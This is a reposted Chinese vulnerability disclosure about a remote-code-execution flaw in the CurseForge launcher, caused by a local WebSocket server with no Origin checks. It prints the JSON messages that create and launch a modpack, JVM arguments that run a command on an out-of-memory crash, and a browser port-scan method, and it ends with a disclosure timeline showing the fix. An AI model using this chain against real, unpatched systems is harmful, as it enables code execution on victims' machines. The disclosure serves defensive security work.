文章总结: 本文披露了CurseForge启动器因本地WebSocket服务缺失Origin校验导致的远程代码执行漏洞。攻击者可通过伪造网页消息,利用可控的JVM参数创建并启动模组包,从而在受害者主机执行任意命令。该漏洞涉及端口扫描及Java参数注入,最终厂商通过添加Origin验证完成了修复。 综合评分: 87 文章分类: 漏洞分析,渗透测试,漏洞预警,应用安全
CurseForge 中 WebSocket 导致远程代码执行的情况
Ots安全
2025年12月27日 14:05 广东
威胁简报
恶意软件
漏洞攻击
介绍
几个月前发现SuperShy 远程代码执行漏洞后,我开始深入研究 WebSocket。出于好奇,我开始四处搜寻系统上其他会定期暴露绑定到回环接口的本地 WebSocket 服务器的应用程序。
我发现了一些有趣的应用程序,在获得授权后,我会撰写相关文章。但其中最引人注目的是游戏模组平台 CurseForge。CurseForge 是使用最广泛的视频游戏模组平台之一,数百万用户依赖其桌面启动器来管理和启动模组包。
查找 WebSocket
在监控本地 WebSocket 流量时,我注意到每次启动整合包时,CurseForge 启动器都会通过本地 WebSocket 连接发送以下消息:
{
"args": [
{
"MinecraftInstanceGuid": "9ee1c6b8-f0f3-441c-b6be-6b03a7a6019a",
"ResolutionWidth": 1024,
"ResolutionHeight": 768,
"LauncherVisibility": "Close",
"LauncherType": "Classic",
"AdditionalJavaArguments": ""
}
],
"type": "method",
"name": "minecraftTaskLaunchInstance"
}
乍一看,这似乎是一条典型的启动消息。但值得注意的是,WebSocket 端点绑定到了本地主机,而且消息中没有包含任何明显的身份验证或授权机制,例如 API 密钥、会话令牌或每次请求的验证。
我编写了一个小脚本,重新发送了相同的 WebSocket 消息,这次添加了一个伪造的 Origin 标头elliott.diy。令我惊讶的是,启动器接受了连接,整合包也成功启动了。
如果一个带有伪造源标头的随机脚本可以不受限制地向 CurseForge 启动器发送 WebSocket 消息,那么用户访问的任何网站都有可能控制该启动器。由此,我开始深入调查究竟是什么在托管这个 WebSocket 服务器,以及我还能做些什么。
无需原产地检查
服务器已集成到启动器中CurseAgent.exe,并在启动器打开时启动。我将其加载到 JetBrains 反编译器 dotPeek 中,并很快确认没有对传入的 WebSocket 连接执行来源验证。
我还开始深入研究公开的方法,发现除了启动整合包之外,还有几个可调用的操作:
- minecraftGetDefaultLocation – 返回 Minecraft 的默认安装路径
- createModpack – 创建一个新的整合包并返回其 GUID
- minecraftTaskLaunchInstance – 使用提供的 GUID、启动器类型和任意 Java 参数启动模组包
对于其他游戏和启动器功能,还有许多其他方法,但以上方法与本文最为相关。
这里最大的问题是,它允许攻击者控制的 JVM 参数在启动游戏时minecraftTaskLaunchInstance通过该字段提供。AdditionalJavaArguments
概念验证
- 视频演示: https://cdn.elliott.diy/curseforge.mp4
- 在线概念验证: https://research.elliott.diy/97bef577
- 源代码: https://github.com/elliott-diy/curseforge
为了验证这种方法的可行性,我编写了一个简单的概念验证程序。CurseForge 支持其他几款游戏,我相当确信类似的技术也能在这些游戏上运行,但我本人是 Minecraft 的铁杆粉丝,所以只使用了 Minecraft 特有的方法。这个概念验证程序将两个暴露的 WebSocket 方法串联起来:一个用于创建一个新的模组包,另一个用于使用攻击者可控的 JVM 参数启动该模组包。
步骤 1:创建模组包
第一步是调用createModpack,它会在受害者的系统上创建一个全新的模组包,并返回一个有效的 GUID,该 GUID 稍后用于游戏启动。
{
"args": [{
"GameId": 432,
"Name": "PWNED",
"Author": "Elliott <3",
"GameVersion": "1.21.8",
"ModloaderVersionString": "forge-58.0.1",
"ProfileImagePath": null,
"InstallSource": 0,
"ModsToInstall": [],
"GroupId": null
}],
"type": "method",
"name": "createModpack"
}
步骤 2:使用攻击者控制的 JVM 参数启动
一旦返回该 GUID,它就会直接传递给一个minecraftTaskLaunchInstance调用。有趣的地方就在这里,因为启动器很乐意通过AdditionalJavaArguments.
为了演示,我使用了以下 JVM 标志来实现代码执行:
-XX:MaxMetaspaceSize=16m
-XX:OnOutOfMemoryError="cmd.exe /c calc"
第一个标志强制将元空间设置为一个极小的尺寸,导致 JVM 在启动时迅速耗尽内存。第二个标志处理这种内存错误,并在 JVM 崩溃时执行任意命令。在本例中,它只是简单地打开经典的 calc.exe 程序。
恶意 JVM 参数和 GUID 随后被传递到以下启动有效载荷中:
{
"args": [{
"MinecraftInstanceGuid": "GUID",
"ResolutionWidth": 1024,
"ResolutionHeight": 768,
"LauncherVisibility": "Close",
"LauncherType": "Classic",
"AdditionalJavaArguments": "-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError=\"cmd.exe /c calc\""
}],
"type": "method",
"name": "minecraftTaskLaunchInstance"
}
当发送此消息时,CurseForge 会使用提供的 JVM 参数启动新创建的整合包,从而使有效载荷在游戏启动时在客户端系统上执行。根据用户的启动器设置,这可能只需要少量用户交互,但在许多情况下会自动完成。
随附的视频 PoC 将每个步骤都清晰地展示出来。在实际攻击中,恶意网站完全可以在后台执行相同的攻击。
发现
这个概念验证唯一真正的不足之处在于,CurseAgent 并没有将其 WebSocket 服务器绑定到固定端口。相反,它每次启动时都会监听一个随机分配的本地端口。
为了解决这个问题,PoC 首先需要确定 WebSocket 服务器实际监听的端口。这可以通过探测本地端口范围并尝试打开 WebSocket 连接来实现,直到收到有效的 CurseForge 端点响应。一旦找到正确的端口,后续的攻击链即可正常进行。
该扫描会访问大约 16,000 个端口,并且在基于 Chromium 的浏览器中运行稳定,除了在低端系统上会出现一些延迟外,连接尝试基本没有问题。而 Firefox 则几乎立即崩溃,使得该概念验证在 Firefox 上基本无法使用。
披露时间表
毋庸置疑,发现此问题后不久便已向 CurseForge 报告。
- 2025年7月29日- 发现漏洞并首次报告。
- 2025年8月11日- 与CurseForge进行后续沟通。由于缺少安全联系人,协调工作由一位出色的社区经理负责,他已将问题上报至公司内部。
- 2025年8月31日- 正式确认存在漏洞。
- 2025年9月15日- 收到了一件 CurseForge T恤。
- 2025 年 11 月 2 日- CurseForge 应用程序版本1.289.3中发布了修复程序,并在后续工作中添加了来源检查。
- 2025年12月23日- 在给予一段时间进行推广后向公众披露。
从最初的报告到修复,这导致浏览器存在一个可利用的远程代码执行漏洞,持续了三个多月。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《CurseForge 中 WebSocket 导致远程代码执行的情况》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论